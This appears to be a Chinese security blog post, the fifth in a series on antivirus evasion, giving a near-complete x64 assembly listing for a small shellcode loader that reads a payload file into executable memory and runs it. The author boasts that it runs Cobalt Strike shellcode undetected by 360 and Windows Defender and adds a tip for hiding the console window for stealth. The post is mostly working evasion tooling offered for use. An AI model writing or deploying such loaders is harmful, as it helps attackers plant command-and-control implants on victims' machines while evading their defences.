免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)
公众号很久没有更新了,确实太忙~~~~
前段时间比较浮躁,因为自己训练的编程专项模型,也把自己变得越来越懒,写很多对抗程序的时候,也没有追求精益求精,追根溯源的黑客精神了。所以打算沉下心来用汇编好好的重写一些自己的对抗工具的核心功能。
很久没用汇编写程序了,就先写个最简单的shellcode加载器来练练手。
先看看效果······
正常运行,加载工具人最爱用的cs的shellcode,成功上线,360和Windows Defender都是毫无反应。
virscan报告地址:
https://www.virscan.org/report/39245969902c518e44e86fc19774bae39642951feef051493fe296fbdecc1657
------可爱的分割线------
大部分人觉得汇编很复杂,其实不然,在我看来,汇编更加直接了当能够告诉计算机我想干什么。
授人与渔不如授人与渔,开干~~~~~~
首先data段定义接下来要用到的函数和一些常量
.data
kernel32_name db "kernel32.dll", 0 ; kernel32.dll 的名称
user32_name db "user32.dll", 0 ; user32.dll 的名称
CreateFileA_name db "CreateFileA", 0 ; CreateFileA 函数名
ReadFile_name db "ReadFile", 0 ; ReadFile 函数名
VirtualAlloc_name db "VirtualAlloc", 0 ; VirtualAlloc 函数名
CloseHandle_name db "CloseHandle", 0 ; CloseHandle 函数名
LoadLibraryA_name db "LoadLibraryA", 0 ; LoadLibraryA 函数名
MessageBoxA_name db "MessageBoxA", 0 ; MessageBoxA 函数名
filename db "C:\shellcode.bin", 0 ; 要读取的文件名
error_msg db "Error occurred", 0 ; 错误消息
success_msg db "Operation successful", 0 ; 成功消息
user32.dll的MessageBoxA函数以及error_msg和success_msg是我在其他环境调试时候方便看输出用的,生产环境可以直接删掉。
filename是shellcode文件的路径。
接下code段,万年不变的入口main PROC
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
获取kernel32.dll动态链接库的基址
获取 kernel32.dll 的基址
lea rcx, kernel32_name ; 将 kernel32.dll 的名称加载到 rcx
call GetModuleHandleA ; 调用 GetModuleHandleA 获取 kernel32.dll 的句柄
test rax, rax ; 检查返回值是否为 0 (错误)
jz exit_program ; 如果是 0,跳转到退出程序
mov rbx, rax ; 保存 kernel32.dll 基址到 rbx
这个我加了一个容错,test rax,rax 。如果为0则证明获取基址失败,就跳转到我写好的exit_program的方法退出程序。和c语言中的if(handle==0){funcexit();}类似。
获取到模块基址过后,接下来就要将我们要用到的函数地址都获取并且保存在我们上面push的寄存器中。
获取 LoadLibraryA 函数地址
mov rcx, rbx ; kernel32.dll 的句柄
lea rdx, LoadLibraryA_name ; LoadLibraryA 函数名
call GetProcAddress ; 调用 GetProcAddress 获取函数地址
test rax, rax ; 检查返回值是否为 0 (错误)
jz exit_program ; 如果是 0,跳转到退出程序
mov r15, rax ; 保存 LoadLibraryA 函数地址到 r15
获取 CreateFileA 函数地址
mov rcx, rbx
lea rdx, CreateFileA_name
call GetProcAddress
test rax, rax
jz exit_program
mov r12, rax ; 保存 CreateFileA 函数地址到 r12
获取 ReadFile 函数地址
mov rcx, rbx
lea rdx, ReadFile_name
call GetProcAddress
test rax, rax
jz exit_program
mov r13, rax ; 保存 ReadFile 函数地址到 r13
获取 VirtualAlloc 函数地址
mov rcx, rbx
lea rdx, VirtualAlloc_name
call GetProcAddress
test rax, rax
jz exit_program
mov r14, rax ; 保存 VirtualAlloc 函数地址到 r14
获取 CloseHandle 函数地址
mov rcx, rbx
lea rdx, CloseHandle_name
call GetProcAddress
test rax, rax
jz exit_program
mov rbx, rax ; 保存 CloseHandle 函数地址到 rbx (重用 rbx)
每一个关键步骤我都做了test rax,rax 。没办法,强迫症,看不得程序一点的不受控~~~
函数地址都获取后,可以打开我们的shellcode文件了
调用 CreateFileA 打开文件
sub rsp, 40 ; 分配影子空间和额外参数空间
lea rcx, filename ; 文件名
mov rdx, 80000000h ; GENERIC_READ
xor r8, r8 ; 不共享
xor r9, r9 ; 无安全属性
mov qword ptr [rsp + 32], 3 ; OPEN_EXISTING
mov qword ptr [rsp + 40], 80h ; FILE_ATTRIBUTE_NORMAL
mov qword ptr [rsp + 48], 0 ; 无模板文件
call r12 ; 调用 CreateFileA
add rsp, 40 ; 恢复栈
检查文件句柄
cmp rax, -1 ; 比较返回值和 INVALID_HANDLE_VALUE
je file_error ; 如果相等,跳转到文件错误处理
mov rdi, rax ; 保存文件句柄到 rdi
这里用cmp rax,-1 检查是否成功取到文件句柄,如果没有跳转到file_error方法。《程序员的自我修养》
接下来分配内存
分配内存 (VirtualAlloc)
sub rsp, 32 ; 分配影子空间
xor rcx, rcx ; lpAddress = NULL
mov rdx, 1000h ; dwSize = 4KB (假设 shellcode 不超过 4KB)
mov r8, 1000h ; flAllocationType = MEM_COMMIT
mov r9, 40h ; flProtect = PAGE_EXECUTE_READWRITE
call r14 ; 调用 VirtualAlloc
add rsp, 32 ; 恢复栈
检查分配的内存
test rax, rax ; 检查返回值
jz memory_error ; 如果为 0,跳转到内存错误处理
mov r15, rax ; 保存分配的内存地址到 r15
同样test rax,rax 检查是否分配成功,失败跳转到memory_error方法。《程序员的自我修养》
分配好内存后,就可以载入我们的shellcode到内存中了
读取文件 (ReadFile)
sub rsp, 40 ; 分配影子空间和额外参数空间
mov rcx, rdi ; 文件句柄
mov rdx, r15 ; 缓冲区地址
mov r8, 1000h ; 读取大小 (4KB)
lea r9, [rsp + 32] ; 实际读取的字节数的地址
mov qword ptr [rsp + 32], 0 ; 初始化实际读取的字节数为 0
call r13 ; 调用 ReadFile
add rsp, 40 ; 恢复栈
检查读取结果
test rax, rax ; 检查返回值
jz read_error ; 如果为 0,跳转到读取错误处理
同样test rax,rax 检查是否读取载入成功,失败跳转到read_error方法。《程序员的自我修养》
最后关闭文件句柄然后执行shellcode
; 关闭文件句柄
sub rsp, 32 ; 分配影子空间
mov rcx, rdi ; 文件句柄
call rbx ; 调用 CloseHandle
add rsp, 32 ; 恢复栈
; 执行 shellcode
call r15 ; 调用加载到内存中的 shellcode
有借有还,再借不难,exit的时候别忘了pop寄存器
exit_program:
恢复非易失性寄存器
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
退出程序
xor rcx, rcx ; exit code = 0
call ExitProcess ; 调用 ExitProcess 退出程序
核心功能全部完成。编译的时候,如果要具备更好的隐藏性,可以/SUBSYSTEM:WINDOWS隐藏控制台窗口,但是要记住告诉编译器你的入口点/ENTRY main。
至此,整个程序完成。
------可爱的分割线------
感觉用汇编写程序能够让心静下来,能够真正的感觉在与计算机交流,也能够温故而知新的调整自己的很多状态!正如道家所说的道法自然,上善若水~~~~~~所以预告一下,我打算用汇编重写一下llama的核心推理算法,算是一种沉淀的修行吧
原文始发于微信公众号(蓝极战队):免杀那点事儿之用汇编写一个3kb的免杀shellcode加载器(五)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论